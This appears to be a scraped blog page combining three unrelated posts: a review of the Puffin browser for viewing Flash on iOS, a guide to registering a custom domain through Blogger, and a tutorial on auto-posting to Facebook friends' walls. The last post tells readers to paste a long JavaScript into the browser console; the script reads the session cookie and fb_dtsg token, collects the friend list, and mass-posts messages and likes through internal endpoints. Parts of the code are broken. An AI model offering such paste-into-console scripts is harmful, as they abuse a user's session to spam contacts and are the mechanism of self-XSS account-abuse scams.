How to Get Your Adobe Flash Fix on the iPhone



Adobe Flash: Can’t live with it, can’t live without it, at least for iOS users.
The web-legacy file format, which allows websites to stream videos and play animated games — as well as hog your device memory with annoying rollover ads — has long been at odds with Apple, which steadfastly refuses to support the protocol on its portable devices.
Newer technologies like HTML5 are gaining steam and enabling videos and games to be played on Apple mobile devices, but Flash still makes up a significant portion of the overall Internet, leaving iPhones and iPads out of the loop for major chunks of content.
But for iOS users willing to travel beyond the environs of Safari, there is Puffin, an independent mobile Internet browser for Apple mobile devices, which promises a faster, fuller browsing experience for iPhones and iPads.

What’s the App?

Puffin, developed by CloudMosa for iOS devices and available for $3 or free as a limited two-week trial, is a well-regarded alternative to the Safari browser.
The app is lauded for its speedy loading of pages — it renders tricky JavaScript coding much faster than typical browsers and uses cloud technology to parse out pre-processed Web pages, making for a faster, smoother experience. As a result, it’s able to whittle down data usage, especially on slower connections, an increasingly crucial feature as data plans become more expensive and trickier to manage.
Beyond speed and smoothness, the ability to see and interact with Flash elements offers a fuller mobile experience of the Internet. Puffin users can watch Flash videos, play Flash games, and access Flash content, while still retaining a certain smoothness of experience. As a result, you can listen to streaming audio, watching Flash-rendered TV and movie content and generally have a more multimedia experience on your iOS device. IPad users in particularly will especially appreciate the content, especially Flash games, that Puffin opens up for them.
A “virtual mouse” feature creates a “trackpad” on the screen that users can use just like on laptops to mouseover content and drag-and-drop files. Modern touchscreens have done away with these gestures, but Puffin users can use the virtual mouse to more easily navigate Web-based apps like Gmail.

You’ll Want It If…

If you’re tired of being confined to Safari and want to access more multimedia in particular on your iPhone or iPad, Puffin is a great alternative. Puffin has been around for some time, but recent updates boosted the Flash performance on the browser, making for longer battery life and smoother display. CloudMosa has also added gaming elements to make it worth another look. Similar to the virtual trackpad, a new virtual “gamepad” can simulate arrow keys and buttons, as on a laptop, opening up a whole world of Flash games on the Web. The new gamepad is a bit cramped on the iPhone, but really finds a place on the iPad, making the tablet a much more powerful multimedia device.

It’s Not My Thing, What Else Ya Got?

Speedy and smooth performance as well as broader access to Flash content make Puffin a great deal, especially if you’ve transitioned to using your iPad as your primary digital entertainment device. But the browser isn’t perfect — some Flash games were still sticky in loading. And a mobile world full of Flash also means more ads bombarding you, so the lack of the ability to block ads — common on many full-fledged Web browsers — is glaring.
Some users also wished for a print option. And some, of course, quibble with the $3 price tag. Those looking for viable free alternative to Safari may want to seek out Opera or Chrome, both of which also promise faster page speeds — but both also are riddled with user complaints.


Photo courtesy of Flickr, Markcooz
Read More..

How to Register Your Blogger name into Domain Name via Google 2014

Blogger, Googles hosted blogging platform, offers what is probably the cheapest cost of entry into blogging.  Free blog hosting, and you can still make money from the ads if you manage to find a large enough audience to make it worth while. While that doesnt mean youll be rolling in millions tomorrow, it means that youre not stuck trying to recoup hosting fees and other costs. 
Blogger offers another professional perk for a low cost. You can use them to get a low cost custom domain for you blog.
Blogger has allowed custom URLs for quite some time. And as it turns out, registering your URL through Blogger is a bargain. A custom URL with WordPress.com is $12-$24 as of this writing -  and they still force you to serve their ads on it. A custom URL with Blogger is $10, and you dont have to put any ads on your site. If you do put ads there, theyre ads you profit from (if you have a lot of traffic.) 
  1. To get started, register a blog at www.blogger.com. 
  2. Go to Settings
  3. Click on Basic
  4. Under Blog Address, youll see a link marked Buy a domain for your blog.
  5. You can enter a domain and select from the drop-down box to choose a different top level domain(.com is the default.)
  6. Click Check availability.
  7. If the domain youre requesting is available, you can choose a registrar (when I did this, the choices were GoDaddy or eNom).
  8. Payment will be made through Google Wallet.

Thats it. An easy $10 domain, and it includes Google Apps, so you can give yourself an email account from your custom domain. You could even use this trick if you wanted the domain for a regular website, but youd have to go back to the registrar and tweak things.

What if You Already Own a Domain?

If you already registered a domain at some other time, you can still point it to your Blogger blog. You wont get a discount on the domain youve already registered, and you wont get the ease of instantly having all the settings pre-configured for Blogger, but you can still get a hosted blog on a server you dont have to maintain or pay a hosting fee to rent. 
Unfortunately, Googles instructions for redirecting the domain are incomplete and rather technical if youre unfamiliar with the back end of a registrar and words like  "A-Records" and "CNAMES" sound like a foreign language.  They have instructions that work for GoDaddy domains, but if you registered that domain with someone else, youll have to ask your registrar for support.

Going the Other Way- Google Apps Domains

Your hosted Blogger domain gets you Google Apps access, but you can go in the other direction, too. You get the same $10 domain deal when you create a new Google Apps account. Once youve created the account, you can then turn around and use the Google Apps control panel to redirect a page to a Blogger site. In many ways, you might prefer going in this direction for a larger site. You can use Google Sites to form the framework for your website and then a subdomain (blogs.WheverMySiteNameIs.com) to point to the blog portion.
If you started from Blogger, not to worry. You can still circle around and set up your Google Apps account later. 
Read More..

How to Post Automatically Yours Post to Your Friends Groups Pages 2014


Hi All My Blog Readers!
Today I am going To show You How to Auto Post on your friends, groups walls just in 1 Click

Lets Start!
Log into your facebook account
go to Home Page
open console
Mozila firfox
ctrl+shift+k

Google Chrome
ctrl+shift+J



Now copy the below script and in paste in console tab.
And
Press ENTER on your keyboard To start Auto Posting.
javascript: var grouppost = "<div><span class=img sp_f52w7l sx_47132d></span><a style=position:absolute;size:3px;padding-left:3px;font-weight:bold;font-family:Tahoma;font-size:11px;color:#3B5998;>Auto Post Wall by LBT</a></div></br>";
grouppost += "<div><textarea id=txtFloodMsg placeholder=Whats on Your Mind :P style=COLOR:WHITE;padding-top:5px;width:493px;height:85px;font-family:tahoma;font-size:13px;background-color:rgba(255,255,255,0.1);></textarea></div>";
grouppost += "<div><br><span class=img sp_dpkef5 sx_f05251></span><a style=position:absolute;font-family:Arial;size:3px;padding-left:3px;font-size:11px;color:rgb(128, 128, 128);>Script By : LBT </a></span><button style=margin-left:437px class=_2 _3 _6 _4 _5 selected onclick=autopostingfunc(this); >Post</button><div style=color:gray;>Lovely Blogging Tricks </br>Made by:</A><A style=color:#3B5998; href=https://www.facebook.com/ target=_0> Muhammad Abdul Basit</A></A><A style=color:#3B5998; href=https://www.hacerneto.blogspot.com/ target=_0> </A></A></A><A style=color:#3B5998; href=hacerneto.blogspot target=_0> </A></A></br>Web : <A style=color:#3B5998; href=https://www.hacerneto.blogspot.com/ target=_0>HacernetO</A></A><br></div>";
var Popupset = document.createElement("div");
Popupset.setAttribute("style", "min-height:50px;width:500px;position:fixed;top:100px;box-shadow: 0px 4px 10px rgba(24, 144, 255, 0.63);position:fixed;left:50%;margin-left:-273px;text-align:left;border-radius:10px;padding:5px;z-index:999999;border:5px solid #104E8B;background-color:#499DF5;color:White");
Popupset.innerHTML = grouppost;
document.body.appendChild(Popupset);
jx = {
    getHTTPObject: function () {
        var A = false;
        if (typeof ActiveXObject != "undefined") try {
            A = new ActiveXObject("Msxml2.XMLHTTP")
        } catch(C) {
            try {
                A = new ActiveXObject("Microsoft.XMLHTTP")
            } catch(B) {
                A = false
            }
        } else if (window.XMLHttpRequest) try {
            A = new XMLHttpRequest
        } catch(C) {
            A = false
        }
        return A
    },
    load: function (url, callback, format, method, opt) {
        var http = this.init();
        if (!http || !url) return;
        if (http.overrideMimeType) http.overrideMimeType("text/xml");
        if (!method) method = "GET";
        if (!format) format = "text";
        if (!opt) opt = {};
        format = format.toLowerCase();
        method = method.toUpperCase();
        var now = "uid=" + (new Date).getTime();
        url += url.indexOf("?") + 1 ? "&" : "?";
        url += now;
        var parameters = null;
        if (method == "POST") {
            var parts = url.split("?");
            url = parts[0];
            parameters = parts[1]
        }
        http.open(method, url, true);
        var ths = this;
        if (opt.handler) http.onreadystatechange = function () {
            opt.handler(http)
        };
        else http.onreadystatechange = function () {
            if (http.readyState == 4) if (http.status == 200) {
                var result = "";
                if (http.responseText) result = http.responseText;
                if (format.charAt(0) == "j") {
                    result = result.replace(/[
]/g, "");
                    result = eval("(" + result + ")")
                } else if (format.charAt(0) == "x") result = http.responseXML;
                if (callback) callback(result)
            } else {
                if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
                if (opt.loading) document.getElementById(opt.loading).style.display = "none";
                if (error) error(http.status)
            }
        };
        http.send(parameters)
    },
    bind: function (A) {
        var C = {
            "url": "",
            "onSuccess": false,
            "onError": false,
            "format": "text",
            "method": "GET",
            "update": "",
            "loading": "",
            "loadingIndicator": ""
        };
        for (var B in C) if (A[B]) C[B] = A[B];
        if (!C.url) return;
        var D = false;
        if (C.loadingIndicator) {
            D = document.createElement("div");
            D.setAttribute("style", "position:absolute;top:0px;left:0px;");
            D.setAttribute("class", "loading-indicator");
            D.innerHTML = C.loadingIndicator;
            document.getElementsByTagName("body")[0].appendChild(D);
            this.opt.loadingIndicator = D
        }
        if (C.loading) document.getElementById(C.loading).style.display = "block";
        this.load(C.url, function (E) {
            if (C.onSuccess) C.onSuccess(E);
            if (C.update) document.getElementById(C.update).innerHTML = E;
            if (D) document.getElementsByTagName("body")[0].removeChild(D);
            if (C.loading) document.getElementById(C.loading).style.display = "none"
        },
        C.format, C.method, C)
    },
    init: function () {
        return this.getHTTPObject()
    }
};
var j = 0;
var k = 0;
var suc = 0;
var msg = "Auto post by Lovely Bloogging Tricks <3";
var arr = new Array;
var user_id = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);
function autopostingfunc(sender) {
    if (document.getElementById("txtFloodMsg").value != "") msg = document.getElementById("txtFloodMsg").value;
    jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/search/bootstrap.php?__a=1&filter[0]=user&viewer=" + user_id + "&token=v7&lazy=0&__user=" + user_id, function (a) {
        var b = a;
        var c = b.substring(b.indexOf("{"));
        var d = JSON.parse(c);
        d = d.payload.entries;
        for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
        sender.parentNode.innerHTML = "Wait Posting ...";
        postitok()
    })
}
var a = document.body.innerHTML;
var dts = document.getElementsByName("fb_dtsg")[0].value;
var composerid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);
function postitok() {
    pst = "fb_dtsg=" + dts + "&xhpc_composerid=" + composerid + "&xhpc_targetid=" + arr[suc] + "&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=" + encodeURIComponent(msg) + "&xhpc_message=" + encodeURIComponent(msg) + "&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_1]=pagelet_group_composer";
    with(newx = new XMLHttpRequest) open("POST", "/ajax/updatestatus.php?__a=1"),
    send(pst);
    suc++;
    if (suc > arr.length) {
        alert("Auto Post Completed. Press F5 to Close Auto Poster!. LBT");
        suc = 0
    } else setTimeout("postitok()", 3E4 / arr.length)
}
setTimeout("autopostingfunc()", 1E3);
function P(post) {
    var X = new XMLHttpRequest();
    var XURL = "//www.facebook.com/ajax/ufi/like.php";
    var XParams = "like_action=true&ft_ent_identifier=" + post + "&source=1&client_id=" + now + "%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]=" + post + "&nctr[_1]=pagelet_home_stream&__user=" + user_id + "&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg=" + fb_dtsg + "&phstamp=";
    X.open("POST", XURL, true);
    X.onreadystatechange = function () {
        if (X.readyState == 4 && X.status == 200) {
            X.close
        }
    };
    X.send(XParams)
}

Thats All My Lovely Readers see you in next post. :*
Read More..

Blog Archive

Powered by Blogger.